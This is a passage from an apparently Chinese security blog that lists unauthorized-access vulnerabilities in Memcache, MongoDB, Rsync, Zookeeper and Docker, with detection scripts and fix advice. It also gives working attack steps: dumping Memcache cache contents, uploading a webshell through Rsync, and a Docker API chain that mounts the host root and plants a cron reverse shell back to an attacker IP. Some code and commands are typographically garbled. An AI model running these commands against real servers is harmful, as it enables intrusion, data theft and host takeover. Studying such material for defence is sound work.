#! /usr/bin/env python # _*_ coding:utf-8 _*_ def Memcache_check(ip, port=11211, timeout=5): try: socket.setdefaulttimeout(timeout) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ip, int(port))) s.send("stats ") result = s.recv(1024) if "STAT version" in result: print ‘[+] Memcache Unauthorized: ‘ +ip+‘:‘+str(port) except Exception, e: pass
漏洞验证:
#无需用户名密码,可以直接连接memcache 服务的11211端口。 telnet x.x.x.x 11211 stats //查看memcache 服务状态 stats items //查看所有items stats cachedump 32 0 //获得缓存key get :state:264861539228401373:261588 //通过key读取相应value ,获得实际缓存内容,造成敏感信息泄露
修复建议:绑定的ip地址为 127.0.0.1,或者通过firewall限制访问。
7、Mongodb未授权访问
漏洞原因:MongoDB 默认是没有权限验证的,登录的用户可以通过默认端口无需密码对数据库任意操作(增删改高危动作),而且可以远程访问数据库。
检测脚本:
#! /usr/bin/env python # _*_ coding:utf-8 _*_ def mongodb(ip,port): try: client = MongoClient(ip,port) db=client.local flag = db.collection_names() if flag: print "[+] Mongodb login for anonymous" except Exception, e: pass
修复建议:增加用户密码权限验证,设置本地监听或者访问控制。
8、Rsync未授权访问
漏洞原因:未配置账号密码认证,导致未授权访问。
漏洞测试:
列举整个同步目录或指定目录: rsync 10.0.0.12 :: rsync 10.0.0.12 :: www / 下载文件或目录到本地: rsync – avz 10.0.0.12 :: WWW/ /var/tmp rsync – avz 10.0.0.12 :: www/ /var/tmp 上传本地文件到服务端: rsync -avz webshell 10.0.0.12 :: WWW /
修复建议:增加用户密码认证,设置访问ip限制。
9、Zookeeper未授权访问
漏洞原因:ZooKeeper默认开启在2181端口,在未进行任何访问控制情况下,攻击者可通过执行envi命令获得系统大量的敏感信息,包括系统名称、Java环境。
漏洞测试:
echo envi|nc 192.168.15.74 2181
修复建议:添加用户名密码认证,设置ip访问控制。
10、Docker未授权访问
漏洞原因:docker remote api可以执行docker命令,docker守护进程监听在0.0.0.0,可直接调用API来操作docker。
sudo dockerd -H unix:///var/run/docker.sock -H 0.0.0.0:2375
漏洞利用:
通过docker daemon api 执行docker命令。
#列出容器信息,效果与docker ps一致。 curl http://<target>:2375/containers/json #启动容器 docker -H tcp://<target>:2375 ps -a
1、新运行一个容器,挂载点设置为服务器的根目录挂载至/mnt目录下。
sudo docker -H tcp://10.1.1.211:2375 run -it -v /:/mnt nginx:latest /bin/bash
2、在容器内执行命令,将反弹shell的脚本写入到/var/spool/cron/root
echo ‘* * * * * /bin/bash -i >& /dev/tcp/10.1.1.214/12345 0>&1‘ >> /mnt/var/spool/cron/crontabs/root
3、本地监听端口,获取对方宿主机shell。
以上是关于常见未授权访问漏洞汇总的主要内容,如果未能解决你的问题,请参考以下文章
应用安全 - 工具 | 数据库 - redis - 漏洞 - 汇总